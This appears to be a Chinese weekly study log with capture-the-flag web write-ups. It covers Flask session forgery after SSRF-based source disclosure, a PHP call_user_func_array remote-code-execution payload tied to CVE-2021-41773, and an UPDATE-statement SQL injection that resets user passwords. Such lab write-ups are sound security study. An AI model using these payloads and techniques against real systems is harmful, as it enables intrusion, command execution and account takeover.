完成事项

  • 刷题
  • 搭建博客

未完成的事项

  • 暂时没有

下周待做的事

  • 刷题

本周知识分享

[CISCN 2019华东南]Web4

url暴露了是ssrf

也确实是

响应头回显python,那么唯一能说的通的就是这题考点是flask

事实也确实如此

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# encoding:utf-8
import re
import random
import uuid
import urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! Read somethings'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__ == '__main__':
app.run(debug=True, host="0.0.0.0")

第33行代码直接就说明了本题的重点是session参数username=fuck,伪造session,那么select key在哪里

第10行代码给出了答案

1
2
3
4
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = True

uuid.getnode是什么

UUID是一个通用唯一标识符。您也可以将其称为GUID,即全局唯一标识符。但是,这是什么?让我们简单地了解一下。

UUID是128位长的数字或ID,用于唯一标识计算机系统中的文档,用户,资源或信息。

这里使用的是uuid1利用mac地址生成随机唯一id,也就是select key

首先获取mac地址

在Linux中可以直接利用/sys/class/net/eth0/address获取到mac地址

构造select key生成脚本

1
2
3
4
import random
a=0x0242ac02e207
random.seed(a)
print(str(random.random() * 233))

得到select key

最后利用伪造cookie就可以出flag了

[GFCTF 2021]Baby_Web

扫目录给了提示是CVE-2021-41773

得到了首页的源码

1
2
3
4
5
6
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);

上述代码似乎包含了一个名为class.php的文件,得到class的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
defined('main') or die("no!!");
Class Temp{
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){

$this->date = array_merge($this->date,$data);
}
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
public function display($template,$space=''){

extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];

$param = $where = [];

$_params = trim($_params);

$params = explode(' ', $_params);
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {

case 'function':

if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}

$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {

$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}

对上面两段代码进行审计

首先看__construct类,接收$data的参数,并且与内部参数$data结合,data的参数包含一张图片地址

1
2
3
4
public function __construct($data){

$this->date = array_merge($this->date,$data);
}

getTempName类,检验目录是否是admin,如果是则加载/template/admin/的模板文件,如果不是则加载/template/index.html的模板文件

1
2
3
4
5
6
7
8
9
10
11
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}

display类,首先将data的值转换为局部变量,再调用getTempName中的模板文件最后包含显示模板文件

1
2
3
4
5
6
public function display($template,$space=''){

extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}

最后listdata类,对传入的键值进行转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];

$param = $where = [];

$_params = trim($_params);

$params = explode(' ', $_params);
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {

case 'function':

if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}

$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {

$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}

在第二段代码中提到了两个存放模板文件的文件位置,那我们可以尝试访问一下发现这里这里调用了listdata方法

不难发现可以利用call_user_func_array进行rce,

1
2
3
4
5
6
7
if ($p) {
//call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数
$rt = call_user_func_array($param['name'], $p);
} else {
//call_user_func:第一个参数是被调用的回调函数,其余参数是回调函数的参数。
$rt = call_user_func($param['name']);
}

(其实做到这这里我已经开始头晕了,说实话有点看不懂了,看了wp也是一知半解)

那么如何构造payload呢

首先需要filename=index .html space==admin,重点是如何利用call_user_func_array进行rce,如果要走到

call_user_func_array,我们要的是,<font style="color:rgb(48, 49, 51);">$param['name']=system</font>,先纵观整个switch语句,首先action=function,才有后续的内容,这是我们需要控制的一个地方。接着走,需要绕过第一个

<font style="color:rgb(48, 49, 51);">if(!isset($param['name']),</font>

那我们要让force=false,才有后续。继续,定义了数组p,遍历param里的值,赋给循环中的t,接着一个<font style="color:rgb(48, 49, 51);">if(strpos($var,'param')===0)</font>此处保证的是<font style="color:rgb(48, 49, 51);">$var='param0xxxxx'</font>,通过下面的<font style="color:rgb(48, 49, 51);">intval(substr($var,5))</font>,也就是<font style="color:rgb(48, 49, 51);">intval('0xxxxx')</font>导致<font style="color:rgb(48, 49, 51);">$n=0</font>,下一句就是<font style="color:rgb(48, 49, 51);">$p[$n]=$t;</font>,所以<font style="color:rgb(48, 49, 51);">$p[0]=$t;</font>

其中的<font style="color:rgb(48, 49, 51);">$t</font>,就是我们可以控制的<font style="color:rgb(48, 49, 51);">$var=cmd</font>

那么param的前身是个空数组,通过的是<font style="color:rgb(48, 49, 51);">foreach($params as $t)</font>进入一个if循环里赋值得来的。所以再去找<font style="color:rgb(48, 49, 51);">$params</font>,那么listdata传入的形参叫做<font style="color:rgb(48, 49, 51);">$_params</font>,通过<font style="color:rgb(48, 49, 51);">trim()</font>进行分割得到的。而trim函数就是用空格来分割的,所以我们最终传入的<font style="color:rgb(48, 49, 51);">$_params</font>想要分割就用空格,接着走到一个if语句

综上所述,构造payload

1
2
?filename=index.html 
POST: space=admin&mod=xxx action=function name=system param=cat${IFS}/f*>/var/www/html/a

[HUBUCTF 2022 新生赛]ezsql

这题我记得是加固题来着的,关键点在于这题涉及到updata相关特性

扫到源码了

在源码的updata.php中找到注点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
/**
* Created by PhpStorm.
* User: image
* Date: 18-3-17
* Time: 下午1:08
*/
require_once("db.inc.php");
session_start();
if(!isset($_SESSION['login'])){
header('Location:login.php');
die();
}
$stmt=$mysqli->prepare("select * from users where id=?");
$stmt->bind_param('i',$_SESSION['id']);
$res=$stmt->execute();
if(!$res){
header('Location:index.php?message=error');
die("Fata error");
}
$user=Array();
while($row=$stmt->fetch()){
$user=$row;
}
$stmt->close();
if(!get_magic_quotes_gpc())
foreach($_POST as $key=>$value){
$_POST[$key]=addslashes($value);
}
$query=$mysqli->query("update users set age=$_POST[age],nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id]");

if(!$query){
$mysqli->close();
header('Location:index.php?message=error');
die('Update error');
}
else{
header('Location:index.php');
$mysqli->close();
die('Update message success');
}
?>

这一段确认了注入点

1
$query=$mysqli->query("update users set age=$_POST[age],nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id]");

接下来就是常规手注入

得知密码会以md5方式的存储后就

然后修改表内所有的用户密码为123

然后就出了